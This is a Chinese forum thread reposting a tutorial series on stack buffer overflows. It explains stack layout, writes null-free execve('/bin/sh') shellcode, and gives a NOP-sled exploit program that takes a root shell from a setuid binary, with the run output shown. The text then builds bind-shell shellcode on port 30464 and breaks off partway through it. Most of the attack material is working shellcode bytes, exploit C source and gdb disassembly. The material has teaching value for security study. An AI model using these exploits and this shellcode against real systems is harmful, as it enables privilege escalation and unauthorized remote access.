以文本方式查看主题

-  计算机科学论坛  (http://bbs.xml.org.cn/index.asp)
--  『 C/C++编程思想 』  (http://bbs.xml.org.cn/list.asp?boardid=61)
----  堆栈溢出从入门到提高  (http://bbs.xml.org.cn/dispbbs.asp?boardid=61&rootid=&id=54922)


--  作者:卷积内核
--  发布时间:11/6/2007 8:30:00 AM

--  堆栈溢出从入门到提高
堆栈溢出系列讲座

入门篇

本讲的预备知识:

首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面

的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,

你应该了解linux,本讲中我们的例子将在linux上开发。

1:首先复习一下基础知识。

从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态

全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配

在堆栈里面。

从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我

们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的

操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。

请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。

在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,

接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被

丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回

地址到EIP以继续执行程序。

在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:

先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。

(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都

会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)

2:好了,继续,让我们来看一看什么是堆栈溢出。

2.1:运行时的堆栈分配

堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据

越界。结果覆盖了老的堆栈数据。

比如有下面一段程序:

程序一:

#include <stdio.h>

int main ( )

{

char name[8];

printf("Please type your name: ");

gets(name);

printf("Hello, %s!", name);

return 0;

}

编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢?

在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。

我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句:

pushl %ebp

movl %esp,%ebp

subl $8,%esp

首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的

局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈

的布局如下:

内存底部 内存顶部

name EBP ret

<------ [ ][ ][ ]

^&name

栈顶部 堆栈底部

执行完gets(name)之后,堆栈如下:

内存底部 内存顶部

name EBP ret

<------ [ipxodi\0 ][ ][ ]

^&name

栈顶部 堆栈底部

最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。

2.2:堆栈溢出

好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完

gets(name)之后,堆栈如下:

内存底部 内存顶部

name EBP ret

<------ [ipxodiAA][AAAA][AAAA].......

^&name

栈顶部 堆栈底部

由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写

‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的

老的元素。 如图

我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把

‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处

的指令,结果出现错误。这就是一次堆栈溢出。

3:如何利用堆栈溢出

我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数

(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写

越界,覆盖堆栈中的老元素的值,就可以修改返回地址。

在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。

事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。

如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我

们的指令。

在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆

栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得

root shell。

下一讲将叙述如何书写一个shell code。

------------------------------------------------------------

如何书写一个shell code

一:shellcode基本算法分析

在程序中,执行一个shell的程序是这样写的:

shellcode.c

------------------------------------------------------------------------

-----

#include <stdio.h>

void main() {

char *name[2];

name[0] = "/bin/sh"

name[1] = NULL;

execve(name[0], name, NULL);

}

------------------------------------------------------------------------

------

execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为


--  作者:卷积内核
--  发布时间:11/6/2007 8:30:00 AM

--  
该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为

第三个参数。

我们来看以看execve的汇编代码:

[nkl10]$ gcc -o shellcode -static shellcode.c

[nkl10]$ gdb shellcode

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp ;

0x80002bd <__execve+1>: movl %esp,%ebp

;上面是函数头。

0x80002bf <__execve+3>: pushl %ebx

;保存ebx

0x80002c0 <__execve+4>: movl $0xb,%eax

;eax=0xb,eax指明第几号系统调用。

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

;ebp+8是第一个参数"/bin/sh\0"

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

;ebp+12是第二个参数name数组的地址

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

;ebp+16是第三个参数空指针的地址。

;name[2-1]内容为NULL,用来存放返回值。

0x80002ce <__execve+18>: int $0x80

;执行0xb号系统调用(execve)

0x80002d0 <__execve+20>: movl %eax,%edx

;下面是返回值的处理就没有用了。

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>

0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34

<__normal_errno_location>

0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl $0xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

经过以上的分析,可以得到如下的精简指令算法:

movl $execve的系统调用号,%eax

movl "bin/sh\0"的地址,%ebx

movl name数组的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;执行系统调用(execve)

当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。

可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续

执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调

用,结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码:

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034c <_exit>: pushl %ebp

0x800034d <_exit+1>: movl %esp,%ebp

0x800034f <_exit+3>: pushl %ebx

0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用

0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0

0x8000358 <_exit+12>: int $0x80 ;引发系统调用

0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx

0x800035d <_exit+17>: movl %ebp,%esp

0x800035f <_exit+19>: popl %ebp

0x8000360 <_exit+20>: ret

0x8000361 <_exit+21>: nop

0x8000362 <_exit+22>: nop

0x8000363 <_exit+23>: nop

End of assembler dump.

看来exit(0)〕的汇编代码更加简单:

movl $0x1,%eax ;1号系统调用

movl 0,%ebx ;ebx为exit的参数0

int $0x80 ;引发系统调用

那么总结一下,合成的汇编代码为:

movl $execve的系统调用号,%eax

movl "bin/sh\0"的地址,%ebx

movl name数组的地址,%ecx

movl name[n-1]的地址,%edx

int $0x80 ;执行系统调用(execve)

movl $0x1,%eax ;1号系统调用

movl 0,%ebx ;ebx为exit的参数0

int $0x80 ;执行系统调用(exit)

二:实现一个shellcode

好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name

数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次

程序都是动态加载,字符串和name数组的地址都不是固定的。


--  作者:卷积内核
--  发布时间:11/6/2007 8:30:00 AM

--  
通过JMP和call的结合,黑客们巧妙的解决了这个问题。

------------------------------------------------------------------------

------

jmp call的偏移地址 # 2 bytes

popl %esi # 1 byte //popl出来的是string的地址。

movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,

//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结

尾。

movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。

movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码

movl %esi,%ebx # 2 bytes //ebx=string的地址

leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址

leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址

int $0x80 # 2 bytes //int 0x80是sys call

movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码

movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值

int $0x80 # 2 bytes //int 0x80是sys call

call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会

//为返回地址压栈。

/bin/sh 字符串

------------------------------------------------------------------------

------

首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为

call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,

就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面

8个字节,构造name数组(两个整数,八个字节)。

我们可以写shellcode了。先写出汇编源程序。

shellcodeasm.c

------------------------------------------------------------------------

------

void main() {

__asm__("

jmp 0x2a # 3 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi) # 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes

movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call -0x2f # 5 bytes

.string \"/bin/sh\" # 8 bytes

");

}

------------------------------------------------------------------------

------

编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。

下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)

test.c

------------------------------------------------------------------------

------

char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"

"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"

void main() {

int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址

//(+2是因为:有pushl ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地

址。

}

------------------------------------------------------------------------

------

------------------------------------------------------------------------

------

[nkl10]$ gcc -o test test.c

[nkl10]$ ./test

$ exit

[nkl10]$

------------------------------------------------------------------------

------

我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址

ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,

从而我们得到了一个shell。

运行结果,得到了bsh的提示符$,表明成功的开了一个shell。


--  作者:卷积内核
--  发布时间:11/6/2007 8:31:00 AM

--  
这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为

一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。

而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在

代码段。

这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关

键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,

以"\0"

为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此,

对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符

出现的。

因此,有些指令需要修改一下:

旧的指令 新的指令

--------------------------------------------------------

movb $0x0,0x7(%esi) xorl %eax,%eax

molv $0x0,0xc(%esi) movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

--------------------------------------------------------

movl $0xb,%eax movb $0xb,%al

--------------------------------------------------------

movl $0x1, %eax xorl %ebx,%ebx

movl $0x0, %ebx movl %ebx,%eax

inc %eax

--------------------------------------------------------

最后的shellcode为:

------------------------------------------------------------------------

----

char shellcode[]=

00 "\xeb\x1f" /* jmp 0x1f */

02 "\x5e" /* popl %esi */

03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */

06 "\x31\xc0" /* xorl %eax,%eax */

08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */

0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

0e "\xb0\x0b" /* movb $0xb,%al */

10 "\x89\xf3" /* movl %esi,%ebx */

12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

18 "\xcd\x80" /* int $0x80 */

1a "\x31\xdb" /* xorl %ebx,%ebx */

1c "\x89\xd8" /* movl %ebx,%eax */

1e "\x40" /* inc %eax */

1f "\xcd\x80" /* int $0x80 */

21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */

26 "/bin/sh" /* .string \"/bin/sh\" */

------------------------------------------------------------------------

----

三:利用堆栈溢出获得shell

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,

我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。

overflow1.c

------------------------------------------------------------------------

------

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh"

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

------------------------------------------------------------------------

------

在执行完strcpy后,堆栈内容如下所示:

内存底部 内存顶部

buffer EBP ret

<------ [SSS...SSSA ][A ][A ]A..A

^&buffer

栈顶部 堆栈底部

注:S表示shellcode。

A表示shellcode的地址。

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们

的shellcode。

----------------------------------------------------------

利用堆栈溢出获得shell

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们

将面对

一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的

strcpy

函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的

开始地


--  作者:卷积内核
--  发布时间:11/6/2007 8:31:00 AM

--  
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的

shellcode,从而我们得到了一个shell。

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件

事:

1:把我们的shellcode提供给他,让他可以访问shellcode。

2:修改他的返回地址为shellcode的入口地址。

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer

的地址。

因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开

始地址

,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是

相同的

。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程

序堆栈

的开始地址。

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax

寄存器

里面):

------------------------------------------------------------------------

------

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

------------------------------------------------------------------------

------

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是

几K

左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。

前面我们用来覆盖堆栈的溢出字符串为:

SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

现在,为了提高命中率,我们对他进行如下改进:

用来溢出的字符串变为:

NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA

其中:

N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,

NOP指令的机器码为0x90。

S为shellcode。

A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到

S.

这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到

shell的程序:

exploit1.c

------------------------------------------------------------------------

----

#include<stdio.h>

#include<stdlib.h>

#define OFFSET 0

#define RET_POSITION 1024

#define RANGE 20

#define NOP 0x90

char shellcode[]=

"\xeb\x1f" /* jmp 0x1f */

"\x5e" /* popl %esi */

"\x89\x76\x08" /* movl %esi,0x8(%esi) */

"\x31\xc0" /* xorl %eax,%eax */

"\x88\x46\x07" /* movb %eax,0x7(%esi) */

"\x89\x46\x0c" /* movl %eax,0xc(%esi) */

"\xb0\x0b" /* movb $0xb,%al */

"\x89\xf3" /* movl %esi,%ebx */

"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

"\xcd\x80" /* int $0x80 */

"\x31\xdb" /* xorl %ebx,%ebx */

"\x89\xd8" /* movl %ebx,%eax */

"\x40" /* inc %eax */

"\xcd\x80" /* int $0x80 */

"\xe8\xdc\xff\xff\xff" /* call -0x24 */

"/bin/sh" /* .string \"/bin/sh\" */

unsigned long get_sp(void)

{

__asm__("movl %esp,%eax");

}

main(int argc,char **argv)

{

char buff[RET_POSITION+RANGE+1],*ptr;

long addr;

unsigned long sp;

int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

int i;

if(argc>1)

offset=atoi(argv[1]);

sp=get_sp();

addr=sp-offset;

for(i=0;i<bsize;i+=4)

*((long *)&(buff[i]))=addr;

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)

buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

for(i=0;i<strlen(shellcode);i++)

*(ptr++)=shellcode[i];

buff[bsize-1]="\0"

//现在buff的内容为

//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0

printf("Jump to 0x%08x\n",addr);

execl("./vulnerable1","vulnerable1",buff,0);

}


--  作者:卷积内核
--  发布时间:11/6/2007 8:31:00 AM

--  
------------------------------------------------------------------------

----

execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,

作为./vulnerable1的参数提供。

以下是执行的结果:

------------------------------------------------------------------------

----

[nkl10]$ ls -l vulnerable1

-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*

[nkl10]$ ls -l exploit1

-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*

[nkl10]$ ./exploit1

Jump to 0xbfffec64

Segmentation fault

[nkl10]$ ./exploit1 500

Jump to 0xbfffea70

bash# whoami

root

bash#

------------------------------------------------------------------------

----

恭喜,恭喜,你获得了root shell。

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的

shellcode。

--------------------------------------------------------------

远程堆栈溢出

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。

我们

必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制

(或者

别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击

者来说

,由于我们不在本地,这个sh我们并没有得到。

因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,

然后

listen我们的连接,给我们一个远程shell的责任。

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行

)作为

这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进

来后,

开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,

我们

远程的使用者就有了一个远程shell(跟telnet一样啦)。

下面就是这个算法的C实现:

opensocket.c

------------------------------------------------------------------------

----

1#include<unistd.h>

2#include<sys/socket.h>

3#include<netinet/in.h>

4int soc,cli,soc_len;

5struct sockaddr_in serv_addr;

6struct sockaddr_in cli_addr;

7int main()

8{

9 if(fork()==0)

10 {

11 serv_addr.sin_family=AF_INET;

12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);

13 serv_addr.sin_port=htons(30464);

14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

15 bind(soc,(struct sockaddr *)&serv_addr,

sizeof(serv_addr));

16 listen(soc,1);

17 soc_len=sizeof(cli_addr);

18 cli=accept(soc,(struct sockaddr *)&cli_addr,

&soc_len);

19 dup2(cli,0);

20 dup2(cli,1);

21 dup2(cli,2);

22 execl("/bin/sh","sh",0);

23 }

24}

------------------------------------------------------------------------

----

第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的

pid,

对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子

进程

作为socket通信的执行者继续下面的操作。

10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后

调用

bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接

当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,

标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了

这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。

看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用

gdb来反编译上面的程序:

[nkl10]$ gcc -o opensocket -static opensocket.c

[nkl10]$ gdb opensocket

GNU gdb 4.17

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

are

welcome to change it and/or distribute copies of it under certain

conditions.


--  作者:卷积内核
--  发布时间:11/6/2007 8:32:00 AM

--  
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for

details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disassemble fork

Dump of assembler code for function fork:

0x804ca90 <fork>: movl $0x2,%eax

0x804ca95 <fork+5>: int $0x80

0x804ca97 <fork+7>: cmpl $0xfffff001,%eax

0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>

0x804caa2 <fork+18>: ret

0x804caa3 <fork+19>: nop

0x804caa4 <fork+20>: nop

0x804caa5 <fork+21>: nop

0x804caa6 <fork+22>: nop

0x804caa7 <fork+23>: nop

0x804caa8 <fork+24>: nop

0x804caa9 <fork+25>: nop

0x804caaa <fork+26>: nop

0x804caab <fork+27>: nop

0x804caac <fork+28>: nop

0x804caad <fork+29>: nop

0x804caae <fork+30>: nop

0x804caaf <fork+31>: nop

End of assembler dump.

(gdb) disassemble socket

Dump of assembler code for function socket:

0x804cda0 <socket>: movl %ebx,%edx

0x804cda2 <socket+2>: movl $0x66,%eax

0x804cda7 <socket+7>: movl $0x1,%ebx

0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx

0x804cdb0 <socket+16>: int $0x80

0x804cdb2 <socket+18>: movl %edx,%ebx

0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax

0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>

0x804cdbd <socket+29>: ret

0x804cdbe <socket+30>: nop

0x804cdbf <socket+31>: nop

End of assembler dump.

(gdb) disassemble bind

Dump of assembler code for function bind:

0x804cd60 <bind>: movl %ebx,%edx

0x804cd62 <bind+2>: movl $0x66,%eax

0x804cd67 <bind+7>: movl $0x2,%ebx

0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx

0x804cd70 <bind+16>: int $0x80

0x804cd72 <bind+18>: movl %edx,%ebx

0x804cd74 <bind+20>: cmpl $0xffffff83,%eax

0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>

0x804cd7d <bind+29>: ret

0x804cd7e <bind+30>: nop

0x804cd7f <bind+31>: nop

End of assembler dump.

(gdb) disassemble listen

Dump of assembler code for function listen:

0x804cd80 <listen>: movl %ebx,%edx

0x804cd82 <listen+2>: movl $0x66,%eax

0x804cd87 <listen+7>: movl $0x4,%ebx

0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx

0x804cd90 <listen+16>: int $0x80

0x804cd92 <listen+18>: movl %edx,%ebx

0x804cd94 <listen+20>: cmpl $0xffffff83,%eax

0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>

0x804cd9d <listen+29>: ret

0x804cd9e <listen+30>: nop

0x804cd9f <listen+31>: nop

End of assembler dump.

(gdb) disassemble accept

Dump of assembler code for function __accept:

0x804cd40 <__accept>: movl %ebx,%edx

0x804cd42 <__accept+2>: movl $0x66,%eax

0x804cd47 <__accept+7>: movl $0x5,%ebx

0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx

0x804cd50 <__accept+16>: int $0x80


--  作者:卷积内核
--  发布时间:11/6/2007 8:32:00 AM

--  
0x804cd52 <__accept+18>: movl %edx,%ebx

0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax

0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>

0x804cd5d <__accept+29>: ret

0x804cd5e <__accept+30>: nop

0x804cd5f <__accept+31>: nop

End of assembler dump.

(gdb) disassemble dup2

Dump of assembler code for function dup2:

0x804cbe0 <dup2>: movl %ebx,%edx

0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx

0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx

0x804cbea <dup2+10>: movl $0x3f,%eax

0x804cbef <dup2+15>: int $0x80

0x804cbf1 <dup2+17>: movl %edx,%ebx

0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax

0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>

0x804cbfe <dup2+30>: ret

0x804cbff <dup2+31>: nop

End of assembler dump.

现在可以写上面c代码的汇编语句了。

fork()的汇编代码

------------------------------------------------------------------------

----

char code[]=

"\x31\xc0" /* xorl %eax,%eax */

"\xb0\x02" /* movb $0x2,%al */

"\xcd\x80" /* int $0x80 */

------------------------------------------------------------------------

----

socket(2,1,6)的汇编代码

注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6

------------------------------------------------------------------------

----

/* socket使用66号系统调用,1号子调用。 */

/* 他使用一段内存块来传递参数2,1,6。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]=

"\x31\xc0" /* xorl %eax,%eax */

"\x31\xdb" /* xorl %ebx,%ebx */

"\x89\xf1" /* movl %esi,%ecx */

"\xb0\x02" /* movb $0x2,%al */

"\x89\x06" /* movl %eax,(%esi) */

/* 第一个参数 */

/* %esi 指向一段未使用的内存空间 */

"\xb0\x01" /* movb $0x1,%al */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

/* 第二个参数 */

"\xb0\x06" /* movb $0x6,%al */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

/* 第三个参数. */

"\xb0\x66" /* movb $0x66,%al */

"\xb3\x01" /* movb $0x1,%bl */

"\xcd\x80" /* int $0x80 */

------------------------------------------------------------------------

----

bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码

------------------------------------------------------------------------

----

/* bind使用66号系统调用,2号子调用。 */

/* 他使用一段内存块来传递参数。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]=

"\x89\xf1" /* movl %esi,%ecx */

"\x89\x06" /* movl %eax,(%esi) */

/* %eax 的内容为刚才socket调用的返回值, */

/* 就是soc文件描述符,作为第一个参数 */

"\xb0\x02" /* movb $0x2,%al */

"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

/* serv_addr.sin_family=AF_NET(2) */

/* 2 放在 0xc(%esi). */

"\xb0\x77" /* movb $0x77,%al */

"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

/* 端口号(0x7700=30464)放在 0xe(%esi) */

"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

/* %eax = serv_addr 的地址 */

"\x89\x46\x04" /* movl %eax,0x4(%esi) */

/* 第二个参数. */

"\x31\xc0" /* xorl %eax,%eax */

"\x89\x46\x10" /* movl %eax,0x10(%esi) */

/* serv_addr.sin_addr.s_addr=0 */

"\xb0\x10" /* movb $0x10,%al */

"\x89\x46\x08" /* movl %eax,0x8(%esi) */

/* 第三个参数 . */


--  作者:卷积内核
--  发布时间:11/6/2007 8:32:00 AM

--  
"\xb0\x66" /* movb $0x66,%al */

"\xb3\x02" /* movb $0x2,%bl */

"\xcd\x80" /* int $0x80 */

------------------------------------------------------------------------

----

listen(soc,1)的汇编代码

------------------------------------------------------------------------

----

/* listen使用66号系统调用,4号子调用。 */

/* 他使用一段内存块来传递参数。 */

/* %ecx 里面为这个内存块的地址指针. */

char code[]=

"\x89\xf1" /* movl %esi,%ecx */

"\x89\x06" /* movl %eax,(%esi) */

/* %eax 的内容为刚才socket调用的返回值, */

/* 就是soc文件描述符,作为第一个参数 */

"\xb0\x01" /* movb $0x1,%al */

